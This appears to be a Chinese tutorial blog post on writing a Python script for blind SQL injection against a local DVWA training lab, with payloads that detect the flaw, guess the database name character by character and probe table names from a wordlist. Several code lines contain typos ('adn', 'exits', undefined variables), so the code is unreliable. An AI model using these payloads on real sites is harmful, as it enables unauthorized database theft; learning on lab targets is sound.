学习Python渗透第14天:用python实现sql注入

sql注入这个漏洞一直位于owasp列出的漏洞排行榜的前几位,虽然这个漏洞的使用难度很低,但是破坏力却极其的大。sql注入的原理是将原本的sql语句与用户可控的参数进行了拼接,形成了非预期的sql语句的执行,从而可能造成信息泄露或者如果数据库开启了读写权限,还有可能被写入木马等恶意文件。

接下来我们使用python编写一个sql注入程序,我们先使用bp抓到dvwa的数据包,发现里面有用get提交了两个参数,一个是id ,一个是submit。所以我们先编写好提交的数据。

python 复制代码
import requests
url = "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id="
data ={
    "id":"1",
    "Submit":"Submit"
}
r = requests.get(url,params=data)

我们在判断提交了参数之后,是否有响应,可以通过requests.get()函数的返回值来确定,其中包含了,ID,Fir Name,Surname等等,就表明有响应。

python 复制代码
def determine(text):
    if 'Surname' in text:
        return 1
    else:
        return 0

如果提交的参数1'and '1'='1的返回值为1,而提交的参数1' and '1'='2的返回值为0,就可以判断这个web应用程序存在sql注入漏洞了。如果不知道其中原理的可以看看sql注入是怎样判断是否有注入点的文章。这里我就不多赘述了。

现在我们可以以此为基础来编写一个测试程序。

python 复制代码
import requests
import re
url = "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id="
r = requests.get(url,params=data)

def determine(text):
    if 'Surname' in text:
        return 1
    else:
        return 0
cookies = {"security":"low","PHPSESSID":"0j01203jsdij02ej9sad9"}
payload1 = {
    "id":"1' adn '1' = '1",
    "Submit":"Submit"
}
payload2 = {
    "id":"1' adn '1' = '2",
    "Submit":"Submit"
}

r1 = requests.get(url,params=payload1,cookies=cookies)
r2 = requests.get(url,params=payload2,cookies=cookies)
if determine(r1.text)==1 and determine(r2.text)==0:
    print("存在sql注入漏洞")
else :
    print("不存在sql注入漏洞")

接下来我们分别编写利用sql注入漏洞来获取web应用程序的数据库名称与数据库表的程序。获取数据库名称将会采用逐个字符猜测的方式,而获取数据表名时会使用字典文件的方式。像获取字段名和盗取数据表内容可以参考这两种方式。

首先我们来编写获取数据库名称的程序,分成两个步骤,首先计算数据库名称的长度,测试语句为1' and length(database())=n#,n是我们猜测的数字,这里假设最大为20.

python 复制代码
for i in range(20):
    payload = {
        "id":f"1' and length(database())={i}#",
        "Submit":"Submit"
    }
    r3 = requests.get(url,params = payload3,cookies=cookies)
    if determine(r3.text) == 1:
        databasenamelength = i
        break
print("数据库名字的长度为{}".format(databasenamelength))

接下来计算数据库名称的内容,测试语句为1' and ascii(substr(database(),{i+1},1))={j}#,i为数据库名称的长度,j为65至123所有的值

python 复制代码
databasename=''
for i in range(databasenamelength):
    for j in range(65,123):
        payload4 ={
            "id":f"1' and ascii(substr(database(),{i+1},1))={j}#",
            "Submit":"Submit"
        }
        r4 = requests.get(url,params=payload4,cookies=cookies)
        if determine(r4.text) == 1:
            databasename +=chr(j)
            break
print("数据库名为:{}".format(databasename))

通过上面的程序,我们拿到数据库名为dvwa,对于表名来说,我们使用另一种更方便的方法,就是使用常用的表名(例如,admin,users,manager,member等名字)去测试,测试语句如下1' and exists(select * from dvwa.{tablename})#

完整程序如下:

python 复制代码
with open("sqlinjections.txt",'r',encoding="utf-8") as f:
    for tablename in f:
        payload5 = {
            "id":f"1' and exits(select * from dvwa.{tablename})#",
            "Submit":"Submit"
        }
        r5 = requests.get(url,params=payload5,cookies=cookies)
        if determine(r5.text) == 1:
            print("表名为:{}".format(tablename))

使用相同的方法可以以此得到表的内容和字段的内容,这里就不在继续说明了。

今天的学习分享就到这里了,谢谢大家的观看,如果有什么不对的地方还请大家多多指正。

相关推荐
一只淡水鱼662 分钟前
【mybatis】基本操作:详解Spring通过注解和XML的方式来操作mybatis
java·数据库·spring·mybatis
张声录14 分钟前
【ETCD】【实操篇(十六)】基于角色的访问控制:ETCD 安全管理指南
数据库·安全·etcd
warrah10 分钟前
redis——岁月云实战
数据库·redis·缓存
秀儿y10 分钟前
Redis-十大数据类型
数据库·redis·缓存·oracle
工业互联网专业21 分钟前
Python毕业设计选题:基于python的酒店推荐系统_django+hadoop
hadoop·python·django·vue·毕业设计·源码·课程设计
任小永的博客27 分钟前
VUE3+django接口自动化部署平台部署说明文档(使用说明,需要私信)
后端·python·django
凡人的AI工具箱30 分钟前
每天40分玩转Django:Django类视图
数据库·人工智能·后端·python·django·sqlite
余生H34 分钟前
前端Python应用指南(三)Django vs Flask:哪种框架适合构建你的下一个Web应用?
前端·python·django
知识的宝藏34 分钟前
Django models中的增删改查与MySQL SQL的对应关系
sql·mysql·django·django models
路在脚下@34 分钟前
MySQL的索引失效的原因有那些
数据库·mysql